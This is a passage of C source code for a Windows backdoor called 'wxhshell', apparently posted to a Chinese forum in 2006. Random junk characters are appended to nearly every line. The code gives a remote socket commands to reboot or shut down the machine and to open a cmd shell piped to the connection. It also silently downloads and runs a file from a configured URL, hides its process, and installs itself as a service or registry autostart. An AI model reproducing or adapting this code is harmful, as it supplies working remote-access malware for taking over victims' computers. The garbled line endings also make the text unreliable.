  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _&/FO{F@m  
  } ODG OWw0  
  else { 29 +p|n  
(_}w4N#  
    switch(cmd[0]) { N Fc@Kz<H  
  /<(d.6T[}:  
  // 帮助 EDm,Y  
  case '?': { kEM5eY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,j4 ;:F  
    break; -Oo7]8  
  } \78w1Rkl  
  // 安装 P'prp=JD  
  case 'i': { 4= VAJ  
    if(Install()) !l7eB@O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _084GK9{W  
    else !MOgM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3^>D |  
    break; XO)|l8t#$=  
    } p^G:h6|+|  
  // 卸载 JRMe( ,u  
  case 'r': { B}= WxG|)  
    if(Uninstall()) y<|vcg8x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X-F|&yE~<  
    else *siN#,5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 09Sy- je*/  
    break; oG! S(95  
    } G22= 8V  
  // 显示 wxhshell 所在路径 4v+4qyMyE  
  case 'p': { r^uo7?gZ^  
    char svExeFile[MAX_PATH]; )~q@2^  
    strcpy(svExeFile,"\n\r"); _,h hO  
      strcat(svExeFile,ExeFile); Wcy N, 5  
        send(wsh,svExeFile,strlen(svExeFile),0); kfF.Ctr1a  
    break; t^h {D   
    } rPV\ F  
  // 重启 Pg3O )D9  
  case 'b': { fP41 B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZJotg *I  
    if(Boot(REBOOT)) 8ODrW!o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mWUo:(U  
    else { zt1Pu /e  
    closesocket(wsh); O87Ptr8  
    ExitThread(0); b|i94y(  
    } zOR  
    break; <r*A(}Y  
    } 33O@jb s@  
  // 关机 [.}-nAN  
  case 'd': { gxpGi@5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D0?l$]aE  
    if(Boot(SHUTDOWN)) 7` ^]:t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>^u!1X  
    else { +DwyMzeE  
    closesocket(wsh); nw3CI&Y`  
    ExitThread(0); ^(p}hSLAfQ  
    } K0xZZ`  
    break; kLKd O0  
    } ni#!Gxw  
  // 获取shell z}'*zB>  
  case 's': { ER:)Fk>_  
    CmdShell(wsh); 4Fr0/="H  
    closesocket(wsh); &e\A v.n@-  
    ExitThread(0); $7{V+>  
    break; {1^9*  
  } u$c)B<.UR  
  // 退出 s)q;{wz  
  case 'x': { W&[}-E8<Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {`0GAW)q  
    CloseIt(wsh); Ly?yW S-x  
    break; /? n 9c;w  
    } @0`Q  
  // 离开 lZTD>$  
  case 'q': { wL]7d3t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n<;T BK  
    closesocket(wsh); sF?N vp  
    WSACleanup(); .7-Yu1{2  
    exit(1); f Q.ea#xh^  
    break; cGw*edgp6  
        } W`fE@*k0  
  } CB5 ~!nKv&  
  } 4'pg>;*.  
RHo|&.B;+  
  // 提示信息 ZbJUOa?WF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N 3)OH6w"  
} pPcn F`A  
  } t 7D2k2x9  
W?m?r.K?  
  return; 8$!/Zg  
} YX+Da"\  
/8baJ+D"4\  
// shell模块句柄 S8+Xk= x  
int CmdShell(SOCKET sock) CCJ!;d;&87  
{ /#?lG`'1  
STARTUPINFO si; wVD-}n1"  
ZeroMemory(&si,sizeof(si)); (o,&P9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ruM16*S{=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z<~gv"  
PROCESS_INFORMATION ProcessInfo; Xidt\08s  
char cmdline[]="cmd"; 6Cut[*lj^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I(r^q"  
  return 0; [o)P  
} J;Az0[qMR  
RaFk/mSw  
// 自身启动模式 Lxm1.TOJ  
int StartFromService(void) K#g)t/SZ  
{ JcxhI]E  
typedef struct EJYfk?(B  
{ xq',pzN  
  DWORD ExitStatus; S2)rkX$  
  DWORD PebBaseAddress; ,,r%Y&:`6  
  DWORD AffinityMask; -b-Pvw4  
  DWORD BasePriority; )2mi6[qs0l  
  ULONG UniqueProcessId; v7VJVLH,I7  
  ULONG InheritedFromUniqueProcessId; #;'1aT  
}   PROCESS_BASIC_INFORMATION; _N~h#(  
UO}Kk*  
PROCNTQSIP NtQueryInformationProcess; X%!#Ic]Q  
kWL\JDZ`.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =V:rO;qX+@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (6p 5 Fo  
XA{ tVh  
  HANDLE             hProcess; sbOa] 5]  
  PROCESS_BASIC_INFORMATION pbi; _Tyj4t0ElV  
xKz^J SF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;pdW7  
  if(NULL == hInst ) return 0; fL4F ~@`9l  
=8 d`qS"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ): C4"2l3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {{ M?+]p,^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +0;n t  
F(/^??<5  
  if (!NtQueryInformationProcess) return 0; =rS z>l  
-nG3(n&wB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O&]Y.Z9,A  
  if(!hProcess) return 0; 1tG,V%iCp  
<#ujm fD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 94"R&|  
C\UD0r'p?  
  CloseHandle(hProcess); mfLS< /A  
4O[T:9mn0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }Tn]cL{]C  
if(hProcess==NULL) return 0; GOHRBV  
Ps0'WRJnx  
HMODULE hMod; ]c8lZO>  
char procName[255]; 0Z#&!xTb  
unsigned long cbNeeded; 3/o-\wWO  
sj003jeko  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rixNz@p'%  
~q#UH'=%  
  CloseHandle(hProcess); zLue j'  
@Y*ONnl  
if(strstr(procName,"services")) return 1; // 以服务启动  3+"z  
3.B|uN  
  return 0; // 注册表启动 z= vfP%  
} d$g-u8  
\(jSkrrD  
// 主模块 IZeWswz  
int StartWxhshell(LPSTR lpCmdLine) GEy^*, d  
{ 9>d$a2 nc  
  SOCKET wsl; $I!vQbi  
BOOL val=TRUE; cEO g  
  int port=0; ~P|YAaFx  
  struct sockaddr_in door; !0ySS {/  
o6K\z+.{  
  if(wscfg.ws_autoins) Install(); HgE^#qD?  
[2.uwn]i  
port=atoi(lpCmdLine); WcAX/<Y>  
-uenCWF\#  
if(port<=0) port=wscfg.ws_port; 5[[4A]#T  
^3IO.`|  
  WSADATA data; $@[6jy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ra[{K@  
s CSrwsbhv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U,Nf&g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TIlcdpwXf  
  door.sin_family = AF_INET; lM"@vNgK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !HM{imT  
  door.sin_port = htons(port); i3s-l8\\z  
FSd842O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rC}r99Pe:x  
closesocket(wsl); 6~V$0Y>]  
return 1; YY{S0jnhF  
} FkR9-X<  
_!H{\kU  
  if(listen(wsl,2) == INVALID_SOCKET) { =yOIP@  
closesocket(wsl); =9FY;9  
return 1; [F%INl-sy  
} n  !]_o  
  Wxhshell(wsl); dGf{d7D  
  WSACleanup(); G/\t<>O8o  
)nJs9}( 0  
return 0; ~\<Fq\.x  
?8fa/e  
} g5lf- }?  
:CNWHF4$  
// 以NT服务方式启动 ZY+NKb_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q5YgKz?IC  
{ f {AbCi  
DWORD   status = 0; C^XJE1D.  
  DWORD   specificError = 0xfffffff; #g\O*oYaw  
wlKfTJrn&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p E lF,Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >`Gys8T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1om:SHw  
  serviceStatus.dwWin32ExitCode     = 0; nJY#d;  
  serviceStatus.dwServiceSpecificExitCode = 0; 5;oWFl  
  serviceStatus.dwCheckPoint       = 0;  Zm!T4pL  
  serviceStatus.dwWaitHint       = 0; uj,YCJ8UZs  
'@i/?rNi%N  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2G<\Wz  
  if (hServiceStatusHandle==0) return; 1|l'oTAA  
u;H SX  
status = GetLastError(); b=horvs/!  
  if (status!=NO_ERROR) ^.aFns{wv  
{ e<6fe-g9;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ({i}EC7{  
    serviceStatus.dwCheckPoint       = 0; wZ6LiYiHl  
    serviceStatus.dwWaitHint       = 0; w2_$>z  
    serviceStatus.dwWin32ExitCode     = status; x>d,\{U  
    serviceStatus.dwServiceSpecificExitCode = specificError; <SGO+1zt p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +KgLe>-}  
    return; p;zV4uSv  
  } SB0Cq  
109dB$+$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q}p&<k  
  serviceStatus.dwCheckPoint       = 0; =~6A c}$  
  serviceStatus.dwWaitHint       = 0; {z> fe }  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); s9+Rq*Qd  
} dU<\ FW_  
wO9|_.Z{  
// 处理NT服务事件,比如:启动、停止 $_IvzbOh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gpDH_!K  
{ d"o5uo  
switch(fdwControl) 2%P{fJbwd  
{ k%Dpy2uH  
case SERVICE_CONTROL_STOP: o~<Xc  
  serviceStatus.dwWin32ExitCode = 0; Q46^i7=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Yci>'$tQ  
  serviceStatus.dwCheckPoint   = 0; sh;DCd  
  serviceStatus.dwWaitHint     = 0; MIma:N_c  
  { z#9Tg"8]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3'tcEFkH  
  } -!i1xR (;h  
  return; VZuluV  
case SERVICE_CONTROL_PAUSE: Nc;cb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G#yv$LY#  
  break; -#@l`kt  
case SERVICE_CONTROL_CONTINUE: &JMp)zaI[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &?X0;,5)  
  break; :jL>sGvBv  
case SERVICE_CONTROL_INTERROGATE: =D-u".{  
  break; r+ v?~m!  
}; 0C!f/EZK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]M3V]m  
} -YvnX0j+  
K(jo[S  
// 标准应用程序主函数 bmCp:6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r~rftw  
{ .cks ){\  
@vyq?H$U;N  
// 获取操作系统版本 Cp"a,%b6u  
OsIsNt=GetOsVer(); WSEw:pln  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hK]mnA[Y  
%lsRj)n  
  // 从命令行安装 7:/gO~g I  
  if(strpbrk(lpCmdLine,"iI")) Install(); <|-da&7  
:/A7Z<u,  
  // 下载执行文件 Lf 0X(tC  
if(wscfg.ws_downexe) { tuK2D,6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U80h0t%  
  WinExec(wscfg.ws_filenam,SW_HIDE); `:b*#@  
} vJ,r}$H3  
' % d-  
if(!OsIsNt) { +H{TV#+r  
// 如果时win9x,隐藏进程并且设置为注册表启动 {,NF'x4$  
HideProc(); [L m  
StartWxhshell(lpCmdLine); r7ebFJEf  
} |hl:!j.t  
else iW%~>`tT  
  if(StartFromService()) X'uQr+p^  
  // 以服务方式启动 B\54eTn  
  StartServiceCtrlDispatcher(DispatchTable); ?3 S{>+'  
else aS! If>  
  // 普通方式启动 ]\Z8MxFD  
  StartWxhshell(lpCmdLine); n58yR -"  
=h\unQ1T  
return 0;  CK+t6Gp  
}
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只看该作者 1 发表于: 2006-10-10
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